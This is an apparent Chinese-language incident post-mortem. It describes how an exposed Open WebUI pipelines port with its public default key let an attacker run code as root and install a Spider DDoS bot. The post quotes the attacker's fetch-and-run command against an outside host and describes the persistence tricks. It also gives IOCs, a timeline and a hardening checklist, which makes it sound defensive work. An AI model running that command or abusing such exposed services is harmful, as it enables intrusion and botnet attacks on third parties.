0.0.0.0)原样跑在公网上。默认值写在公开 README 里,扫描器早就内置了。马上自查:如果你也在跑 Open WebUI pipelines,现在就执行
ss -ltnp | grep 9099,看它是不是监听在 0.0.0.0;再确认 key 不是默认的 0p3n-w3bu!。我一台 VPS 的 pipelines 端口对公网开着,用的还是默认 key,结果被人塞进一个 DDoS 木马,两天就把一个月的流量额度打光了。下面是排查经过、根因和修复清单。
症状:流量费突然涨了
机器带宽 15Mbps,每月 500GB 流量。10 月 20 日晚上我发现它连不上了。服务商面板上的流量是这样的:
| 日期 | 发送 | 接收 |
|---|---|---|
| 第 0 天 | 约 1.5GB(合计) | — |
| 第 1 天 | 约 188GB | 很少 |
| 第 2 天 | 307.68GB | 0.04GB |
当月 500GB 额度用完后,服务商直接停了机。我另买了一个 200GB 流量包,机器才重新开起来。
第一轮排查:什么都没看到
我让 AI 助手通过 SSH 登上去查。第一轮结果是"看不出流量去了哪":
- 机器上从没装过 vnstat 这类流量统计,没有按天、按小时的数据。
- 代理服务的访问日志是关的。
- nginx 每天只发出去 2MB 左右,邮件服务一封外发都没有。
- 机器停机重启后,网卡计数器清零了,实时状态非常干净。
唯一的线索是系统日志在 17:22(美东时间)戛然而止,没有任何关机记录,22:08 才重新开机。后来查到,这正是额度用完被停机的时刻。
关键转折:流量是单向的
一开始我怀疑代理配置泄露、被别人拿去用。但面板上的数字否掉了这个猜测:代理转发流量,收进来多少就发出去多少,收发应该差不多对等。307GB 发、0.04GB 收,说明是这台机器自己在往外打包,最常见的就是被当成肉鸡发 DDoS。
顺着这个方向再看内核日志:从 20 日 14:40(美东)开始,内核不断报 nf_conntrack: table full, dropping packet。连接跟踪表被撑满,正是大量外发连接的典型迹象。
还有个数字对不上:15Mbps 一天最多发约 160GB,307GB 要持续 28Mbps 左右。估计是线路实际限速比标称宽松。
根因:pipelines 端口 + 默认 key = 远程 root 执行
机器上跑着 Open WebUI 和它配套的 pipelines 服务。pipelines 的 9099 端口通过 docker -p 9099:9099 发布到了 0.0.0.0,API key 还是项目公开的默认值 0p3n-w3bu!。
pipelines 有个接口 POST /v1/pipelines/upload,上传一个 Python 文件,它会立刻 import 执行。容器内是 root。所以知道默认 key 的任何人,都能在这个容器里以 root 跑任意代码。
docker -p 发布的端口会直接写 iptables 规则,绕过 ufw。你以为防火墙挡住了,其实没有。攻击过程
- 攻击者从
94.154.43.7向 9099 上传 Python 脚本,前后 4 次。每次上传后约 5 秒再调用删除接口,把 pipeline 删掉。 - 脚本里是一段 base64 编码的命令:把 curl / wget 复制到隐藏目录
/tmp/.ppb,再执行curl http://176.65.149.82:48180/boot | sh。 - 第二阶段脚本把木马装成
/usr/bin/kworker,冒充内核线程名。 - 持久化三件套:
/etc/cron.d每 5 分钟拉起一次、/etc/init.d的 S99 开机脚本、/etc/profile.d登录钩子。 - 最后把真正的
curl和chattr改成chmod 000,防止别人用它们下载清理工具或解除文件锁。
木马本身
样本是一个 396KB 的静态链接 x86-64 程序,环境变量里带 SPIDER_NAME=psiphon,属于叫 Spider 的 DDoS 僵尸网络家族。拆开能看到的能力:
- HTTP / HTTP2 洪水
- SIP / UDP 洪水
- TCP SYN、ACK、PSH 洪水
- 远程 shell
- 带宽测试(大概用来给僵尸网络里的机器"测速定价")
它没有挖矿、没有窃密模块,主要就是拿我的带宽去打别人。
证据从哪来
攻击者删了上传的脚本,但留下了两样东西:
__pycache__残留:Python import 时生成的.pyc没被删,反编译就能还原脚本内容。- 容器日志:pipelines 打印了每次上传、加载、删除,以及执行时的
uid=0输出。
翻容器日志还发现,这个端口从几个月前起就陆续有人来试,不止一伙:有直接用公开 PoC 脚本的,也有把恶意代码起名叫 legit_pipeline.py 的。只是之前那几次没留下持续运行的东西,这次的 Spider 才把流量打爆。
时间线(美东时间 EDT)
- 数月前起9099 端口陆续被多个来源尝试利用。
- 10-19 08:36 – 09:47
94.154.43.7上传并删除恶意 pipeline 共 4 次。 - 10-19 09:47Spider 木马落地为
/usr/bin/kworker,出站流量开始暴涨。 - 10-20 14:40内核开始报
nf_conntrack: table full。 - 10-20 17:22月度 500GB 额度耗尽,服务商停机。
- 10-20 22:08我买了 200GB 流量包,机器重新开机。重启后容器只启动了服务本身,木马的 cron 没被执行,所以没再跑起来。
- 10-21排查定位、留证、清理、加固。
影响评估
- 没有逃逸到主机:容器不是 privileged,没挂
docker.sock。主机上没有新增 SSH key,几个月来也没有成功的密码登录。 - 没有泄露密钥:pipelines 容器里没存任何 API key。环境变量里的
GPG_KEY是 Python 官方镜像自带的公开签名公钥 ID,不是秘密。 - 没有横向移动:其他服务在别的 Docker 网络里;Open WebUI 也没收到过来自 pipelines 容器的异常请求。
- 附带发现:Open WebUI 开着公开注册,攒了 119 个待审核的陌生账号,有随机邮箱,也有
[email protected]这种扫描器账号,还有本次攻击者的 IP。都没被批准,没有任何权限。
真正的损失是流量费,以及我的机器被拿去打了别人两天。
修复
- 留证据:先
docker export导出整个容器文件系统,连同日志一起存档,再动手清理。 - 停服务:pipelines 容器删掉、用干净镜像重建后,我觉得 Open WebUI 也用不上了,干脆整个
docker compose down,数据留着。 - 收端口:9099 改绑
127.0.0.1,换成 64 位随机 key。 - Postgres 5432:之前也发布在
0.0.0.0,而且根本没服务在用。在DOCKER-USER链里加规则挡掉外网访问(这条链 Docker 不会覆盖)。 - 代理端口:发现另一个代理端口是个开着
allow-lan: true、不要密码的公开代理,改成allow-lan: false。 - 可观测性:装上 vnstat 和 sysstat,打开代理访问日志。下次流量再异常,至少能知道是哪个时段、哪个连接。
教训清单
- 能执行代码的、管理后台、数据库端口,永远不要发布到
0.0.0.0。-p 127.0.0.1:9099:9099多打几个字而已。 - 项目自带的默认 key / 密码,部署第一件事就换掉。它们写在公开 README 里,扫描器早就内置了。
docker -p绕过 ufw。要限制,写到DOCKER-USER链。- 机器上要有流量统计,服务商那边要开额度告警。这次我是看到账单才知道。
- 出了问题先查服务商面板或 API。按天的收发数据一眼就能看出方向,比在机器上翻日志快得多。
- 出站远大于入站,基本就是机器在往外打流量,先找外发进程,别先怀疑代理被蹭。
IOC
| 类型 | 值 |
|---|---|
| 攻击来源 / 上传 | 94.154.43.7 |
| 下载服务器 | 176.65.149.82:48180(/boot) |
| 相关 IP(注册扫描) | 176.65.149.237 |
| 相关 IP | 43.156.213.200 |
| 样本 SHA-256 | 2f257346ddbdd3271133552f67427f8fe11fd0509b86ced4d665d72aa39b4887 |
| 落地路径 | /usr/bin/kworker、/tmp/.ppb |
| 标记 | SPIDER_NAME=psiphon |
如果你也在跑 Open WebUI pipelines,可以现在就检查一下:ss -ltnp | grep 9099,看它是不是监听在 0.0.0.0;再确认 key 不是 0p3n-w3bu!。